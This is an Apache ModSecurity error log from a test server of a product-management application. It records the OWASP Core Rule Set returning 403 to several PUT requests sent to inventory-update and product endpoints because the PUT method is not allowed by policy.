[Wed Nov 16 15:06:41.729900 2022] [:error] [pid 3065435] [client 79.50.106.79:55437] [client 79.50.106.79] ModSecurity: Warning. Match of &quot;within %{tx.allowed_methods}&quot; against &quot;REQUEST_METHOD&quot; required. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-911-METHOD-ENFORCEMENT.conf&quot;] [line &quot;45&quot;] [id &quot;911100&quot;] [msg &quot;Method is not allowed by policy&quot;] [data &quot;PUT&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/METHOD_NOT_ALLOWED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A6&quot;] [tag &quot;OWASP_AppSensor/RE1&quot;] [tag &quot;PCI/12.1&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/rest/partners/63183b1675134bd17edc6a61/products/updateInventory/&quot;] [unique_id &quot;Y3TucQgv6P@Rr0u2vC23SwAAAAA&quot;], referer: http://pms.test.indacotrentino.com/editProduct;partnerId=63183b1675134bd17edc6a61;productId=6374ec7d7393c119b21d4c5d
[Wed Nov 16 15:06:41.731704 2022] [:error] [pid 3065435] [client 79.50.106.79:55437] [client 79.50.106.79] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/rest/partners/63183b1675134bd17edc6a61/products/updateInventory/&quot;] [unique_id &quot;Y3TucQgv6P@Rr0u2vC23SwAAAAA&quot;], referer: http://pms.test.indacotrentino.com/editProduct;partnerId=63183b1675134bd17edc6a61;productId=6374ec7d7393c119b21d4c5d
[Wed Nov 16 15:06:41.731957 2022] [:error] [pid 3065435] [client 79.50.106.79:55437] [client 79.50.106.79] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/rest/partners/63183b1675134bd17edc6a61/products/updateInventory/&quot;] [unique_id &quot;Y3TucQgv6P@Rr0u2vC23SwAAAAA&quot;], referer: http://pms.test.indacotrentino.com/editProduct;partnerId=63183b1675134bd17edc6a61;productId=6374ec7d7393c119b21d4c5d
[Wed Nov 16 15:06:41.733176 2022] [:error] [pid 3065418] [client 79.50.106.79:55436] [client 79.50.106.79] ModSecurity: Warning. Match of &quot;within %{tx.allowed_methods}&quot; against &quot;REQUEST_METHOD&quot; required. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-911-METHOD-ENFORCEMENT.conf&quot;] [line &quot;45&quot;] [id &quot;911100&quot;] [msg &quot;Method is not allowed by policy&quot;] [data &quot;PUT&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/METHOD_NOT_ALLOWED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A6&quot;] [tag &quot;OWASP_AppSensor/RE1&quot;] [tag &quot;PCI/12.1&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/rest/partners/63183b1675134bd17edc6a61/products/6374ec7d7393c119b21d4c5d&quot;] [unique_id &quot;Y3TucZC0OPqnUi98lF8v5wAAAAo&quot;], referer: http://pms.test.indacotrentino.com/editProduct;partnerId=63183b1675134bd17edc6a61;productId=6374ec7d7393c119b21d4c5d
[Wed Nov 16 15:06:41.734032 2022] [:error] [pid 3065418] [client 79.50.106.79:55436] [client 79.50.106.79] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/rest/partners/63183b1675134bd17edc6a61/products/6374ec7d7393c119b21d4c5d&quot;] [unique_id &quot;Y3TucZC0OPqnUi98lF8v5wAAAAo&quot;], referer: http://pms.test.indacotrentino.com/editProduct;partnerId=63183b1675134bd17edc6a61;productId=6374ec7d7393c119b21d4c5d
[Wed Nov 16 15:06:41.734197 2022] [:error] [pid 3065418] [client 79.50.106.79:55436] [client 79.50.106.79] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/rest/partners/63183b1675134bd17edc6a61/products/6374ec7d7393c119b21d4c5d&quot;] [unique_id &quot;Y3TucZC0OPqnUi98lF8v5wAAAAo&quot;], referer: http://pms.test.indacotrentino.com/editProduct;partnerId=63183b1675134bd17edc6a61;productId=6374ec7d7393c119b21d4c5d
[Wed Nov 16 15:08:41.089567 2022] [:error] [pid 3064141] [client 79.50.106.79:56442] [client 79.50.106.79] ModSecurity: Warning. Match of &quot;within %{tx.allowed_methods}&quot; against &quot;REQUEST_METHOD&quot; required. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-911-METHOD-ENFORCEMENT.conf&quot;] [line &quot;45&quot;] [id &quot;911100&quot;] [msg &quot;Method is not allowed by policy&quot;] [data &quot;PUT&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/METHOD_NOT_ALLOWED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A6&quot;] [tag &quot;OWASP_AppSensor/RE1&quot;] [tag &quot;PCI/12.1&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/rest/partners/63183b1675134bd17edc6a61/products/updateInventory/&quot;] [unique_id &quot;Y3Tu6cs62Xc3wODMm1esGQAAAAc&quot;], referer: http://pms.test.indacotrentino.com/editProduct;partnerId=63183b1675134bd17edc6a61;productId=6374eeb5a558e1c25b2adfff
[Wed Nov 16 15:08:41.090534 2022] [:error] [pid 3064141] [client 79.50.106.79:56442] [client 79.50.106.79] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/rest/partners/63183b1675134bd17edc6a61/products/updateInventory/&quot;] [unique_id &quot;Y3Tu6cs62Xc3wODMm1esGQAAAAc&quot;], referer: http://pms.test.indacotrentino.com/editProduct;partnerId=63183b1675134bd17edc6a61;productId=6374eeb5a558e1c25b2adfff
[Wed Nov 16 15:08:41.090688 2022] [:error] [pid 3064141] [client 79.50.106.79:56442] [client 79.50.106.79] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/rest/partners/63183b1675134bd17edc6a61/products/updateInventory/&quot;] [unique_id &quot;Y3Tu6cs62Xc3wODMm1esGQAAAAc&quot;], referer: http://pms.test.indacotrentino.com/editProduct;partnerId=63183b1675134bd17edc6a61;productId=6374eeb5a558e1c25b2adfff
[Wed Nov 16 15:08:41.098285 2022] [:error] [pid 3056937] [client 79.50.106.79:56443] [client 79.50.106.79] ModSecurity: Warning. Match of &quot;within %{tx.allowed_methods}&quot; against &quot;REQUEST_METHOD&quot; required. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-911-METHOD-ENFORCEMENT.conf&quot;] [line &quot;45&quot;] [id &quot;911100&quot;] [msg &quot;Method is not allowed by policy&quot;] [data &quot;PUT&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/METHOD_NOT_ALLOWED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A6&quot;] [tag &quot;OWASP_AppSensor/RE1&quot;] [tag &quot;PCI/12.1&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/rest/partners/63183b1675134bd17edc6a61/products/6374eeb5a558e1c25b2adfff&quot;] [unique_id &quot;Y3Tu6bVrfYiC6Hkc-QnDIAAAAAU&quot;], referer: http://pms.test.indacotrentino.com/editProduct;partnerId=63183b1675134bd17edc6a61;productId=6374eeb5a558e1c25b2adfff
[Wed Nov 16 15:08:41.099334 2022] [:error] [pid 3056937] [client 79.50.106.79:56443] [client 79.50.106.79] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/rest/partners/63183b1675134bd17edc6a61/products/6374eeb5a558e1c25b2adfff&quot;] [unique_id &quot;Y3Tu6bVrfYiC6Hkc-QnDIAAAAAU&quot;], referer: http://pms.test.indacotrentino.com/editProduct;partnerId=63183b1675134bd17edc6a61;productId=6374eeb5a558e1c25b2adfff
[Wed Nov 16 15:08:41.099495 2022] [:error] [pid 3056937] [client 79.50.106.79:56443] [client 79.50.106.79] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/rest/partners/63183b1675134bd17edc6a61/products/6374eeb5a558e1c25b2adfff&quot;] [unique_id &quot;Y3Tu6bVrfYiC6Hkc-QnDIAAAAAU&quot;], referer: http://pms.test.indacotrentino.com/editProduct;partnerId=63183b1675134bd17edc6a61;productId=6374eeb5a558e1c25b2adfff
[Wed Nov 16 15:16:36.272480 2022] [:error] [pid 3066834] [client 79.50.106.79:57242] [client 79.50.106.79] ModSecurity: Warning. Match of &quot;within %{tx.allowed_methods}&quot; against &quot;REQUEST_METHOD&quot; required. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-911-METHOD-ENFORCEMENT.conf&quot;] [line &quot;45&quot;] [id &quot;911100&quot;] [msg &quot;Method is not allowed by policy&quot;] [data &quot;PUT&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/METHOD_NOT_ALLOWED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A6&quot;] [tag &quot;OWASP_AppSensor/RE1&quot;] [tag &quot;PCI/12.1&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/rest/partners/63183b1675134bd17edc6a61/products/updateInventory/&quot;] [unique_id &quot;Y3TwxKGN8oVzFm5feQ6SyQAAAA8&quot;], referer: http://pms.test.indacotrentino.com/editProduct;partnerId=63183b1675134bd17edc6a61;productId=6322f4392b28d1270d9d338a
[Wed Nov 16 15:16:36.274098 2022] [:error] [pid 3066834] [client 79.50.106.79:57242] [client 79.50.106.79] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/rest/partners/63183b1675134bd17edc6a61/products/updateInventory/&quot;] [unique_id &quot;Y3TwxKGN8oVzFm5feQ6SyQAAAA8&quot;], referer: http://pms.test.indacotrentino.com/editProduct;partnerId=63183b1675134bd17edc6a61;productId=6322f4392b28d1270d9d338a
[Wed Nov 16 15:16:36.274299 2022] [:error] [pid 3066834] [client 79.50.106.79:57242] [client 79.50.106.79] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/rest/partners/63183b1675134bd17edc6a61/products/updateInventory/&quot;] [unique_id &quot;Y3TwxKGN8oVzFm5feQ6SyQAAAA8&quot;], referer: http://pms.test.indacotrentino.com/editProduct;partnerId=63183b1675134bd17edc6a61;productId=6322f4392b28d1270d9d338a
[Wed Nov 16 15:16:36.287476 2022] [:error] [pid 3066832] [client 79.50.106.79:57243] [client 79.50.106.79] ModSecurity: Warning. Match of &quot;within %{tx.allowed_methods}&quot; against &quot;REQUEST_METHOD&quot; required. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-911-METHOD-ENFORCEMENT.conf&quot;] [line &quot;45&quot;] [id &quot;911100&quot;] [msg &quot;Method is not allowed by policy&quot;] [data &quot;PUT&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/METHOD_NOT_ALLOWED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A6&quot;] [tag &quot;OWASP_AppSensor/RE1&quot;] [tag &quot;PCI/12.1&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/rest/partners/63183b1675134bd17edc6a61/products/6322f4392b28d1270d9d338a&quot;] [unique_id &quot;Y3TwxAP5cID5RWuBgvahcgAAAA0&quot;], referer: http://pms.test.indacotrentino.com/editProduct;partnerId=63183b1675134bd17edc6a61;productId=6322f4392b28d1270d9d338a
[Wed Nov 16 15:16:36.289679 2022] [:error] [pid 3066832] [client 79.50.106.79:57243] [client 79.50.106.79] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/rest/partners/63183b1675134bd17edc6a61/products/6322f4392b28d1270d9d338a&quot;] [unique_id &quot;Y3TwxAP5cID5RWuBgvahcgAAAA0&quot;], referer: http://pms.test.indacotrentino.com/editProduct;partnerId=63183b1675134bd17edc6a61;productId=6322f4392b28d1270d9d338a
[Wed Nov 16 15:16:36.289927 2022] [:error] [pid 3066832] [client 79.50.106.79:57243] [client 79.50.106.79] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/rest/partners/63183b1675134bd17edc6a61/products/6322f4392b28d1270d9d338a&quot;] [unique_id &quot;Y3TwxAP5cID5RWuBgvahcgAAAA0&quot;], referer: http://pms.test.indacotrentino.com/editProduct;partnerId=63183b1675134bd17edc6a61;productId=6322f4392b28d1270d9d338a
[Wed Nov 16 15:17:43.966911 2022] [:error] [pid 3066834] [client 77.83.112.61:41106] [client 77.83.112.61] ModSecurity: Warning. Match of &quot;within %{tx.allowed_methods}&quot; against &quot;REQUEST_METHOD&quot; required. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-911-METHOD-ENFORCEMENT.conf&quot;] [line &quot;45&quot;] [id &quot;911100&quot;] [msg &quot;Method is not allowed by policy&quot;] [data &quot;PUT&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/METHOD_NOT_ALLOWED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A6&quot;] [tag &quot;OWASP_AppSensor/RE1&quot;] [tag &quot;PCI/12.1&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/rest/partners/63183b1675134bd17edc6a61/products/updateInventory/&quot;] [unique_id &quot;Y3TxB6GN8oVzFm5feQ6S0AAAAA8&quot;], referer: http://pms.test.indacotrentino.com/admin/editProduct;productId=6322f4392b28d1270d9d338a;partnerId=63183b1675134bd17edc6a61
[Wed Nov 16 15:17:43.968503 2022] [:error] [pid 3066834] [client 77.83.112.61:41106] [client 77.83.112.61] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/rest/partners/63183b1675134bd17edc6a61/products/updateInventory/&quot;] [unique_id &quot;Y3TxB6GN8oVzFm5feQ6S0AAAAA8&quot;], referer: http://pms.test.indacotrentino.com/admin/editProduct;productId=6322f4392b28d1270d9d338a;partnerId=63183b1675134bd17edc6a61
[Wed Nov 16 15:17:43.968666 2022] [:error] [pid 3066834] [client 77.83.112.61:41106] [client 77.83.112.61] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/rest/partners/63183b1675134bd17edc6a61/products/updateInventory/&quot;] [unique_id &quot;Y3TxB6GN8oVzFm5feQ6S0AAAAA8&quot;], referer: http://pms.test.indacotrentino.com/admin/editProduct;productId=6322f4392b28d1270d9d338a;partnerId=63183b1675134bd17edc6a61
[Wed Nov 16 15:17:43.968853 2022] [:error] [pid 3056937] [client 77.83.112.61:41105] [client 77.83.112.61] ModSecurity: Warning. Match of &quot;within %{tx.allowed_methods}&quot; against &quot;REQUEST_METHOD&quot; required. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-911-METHOD-ENFORCEMENT.conf&quot;] [line &quot;45&quot;] [id &quot;911100&quot;] [msg &quot;Method is not allowed by policy&quot;] [data &quot;PUT&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/METHOD_NOT_ALLOWED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A6&quot;] [tag &quot;OWASP_AppSensor/RE1&quot;] [tag &quot;PCI/12.1&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/rest/partners/63183b1675134bd17edc6a61/products/6322f4392b28d1270d9d338a&quot;] [unique_id &quot;Y3TxB7VrfYiC6Hkc-QnDMAAAAAU&quot;], referer: http://pms.test.indacotrentino.com/admin/editProduct;productId=6322f4392b28d1270d9d338a;partnerId=63183b1675134bd17edc6a61
[Wed Nov 16 15:17:43.970398 2022] [:error] [pid 3056937] [client 77.83.112.61:41105] [client 77.83.112.61] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/rest/partners/63183b1675134bd17edc6a61/products/6322f4392b28d1270d9d338a&quot;] [unique_id &quot;Y3TxB7VrfYiC6Hkc-QnDMAAAAAU&quot;], referer: http://pms.test.indacotrentino.com/admin/editProduct;productId=6322f4392b28d1270d9d338a;partnerId=63183b1675134bd17edc6a61
[Wed Nov 16 15:17:43.970576 2022] [:error] [pid 3056937] [client 77.83.112.61:41105] [client 77.83.112.61] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/rest/partners/63183b1675134bd17edc6a61/products/6322f4392b28d1270d9d338a&quot;] [unique_id &quot;Y3TxB7VrfYiC6Hkc-QnDMAAAAAU&quot;], referer: http://pms.test.indacotrentino.com/admin/editProduct;productId=6322f4392b28d1270d9d338a;partnerId=63183b1675134bd17edc6a61
[Wed Nov 16 16:34:58.124299 2022] [:error] [pid 3067496] [client 79.50.106.79:63462] [client 79.50.106.79] ModSecurity: Warning. Match of &quot;within %{tx.allowed_methods}&quot; against &quot;REQUEST_METHOD&quot; required. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-911-METHOD-ENFORCEMENT.conf&quot;] [line &quot;45&quot;] [id &quot;911100&quot;] [msg &quot;Method is not allowed by policy&quot;] [data &quot;PUT&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/METHOD_NOT_ALLOWED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A6&quot;] [tag &quot;OWASP_AppSensor/RE1&quot;] [tag &quot;PCI/12.1&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/rest/partners/63183b1675134bd17edc6a61/products/updateInventory/&quot;] [unique_id &quot;Y3UDIpL5ePKtVxmWWKoU2gAAAAQ&quot;], referer: http://pms.test.indacotrentino.com/editProduct;productId=6322f4392b28d1270d9d338a
[Wed Nov 16 16:34:58.126049 2022] [:error] [pid 3067496] [client 79.50.106.79:63462] [client 79.50.106.79] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/rest/partners/63183b1675134bd17edc6a61/products/updateInventory/&quot;] [unique_id &quot;Y3UDIpL5ePKtVxmWWKoU2gAAAAQ&quot;], referer: http://pms.test.indacotrentino.com/editProduct;productId=6322f4392b28d1270d9d338a
[Wed Nov 16 16:34:58.126258 2022] [:error] [pid 3067496] [client 79.50.106.79:63462] [client 79.50.106.79] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/rest/partners/63183b1675134bd17edc6a61/products/updateInventory/&quot;] [unique_id &quot;Y3UDIpL5ePKtVxmWWKoU2gAAAAQ&quot;], referer: http://pms.test.indacotrentino.com/editProduct;productId=6322f4392b28d1270d9d338a
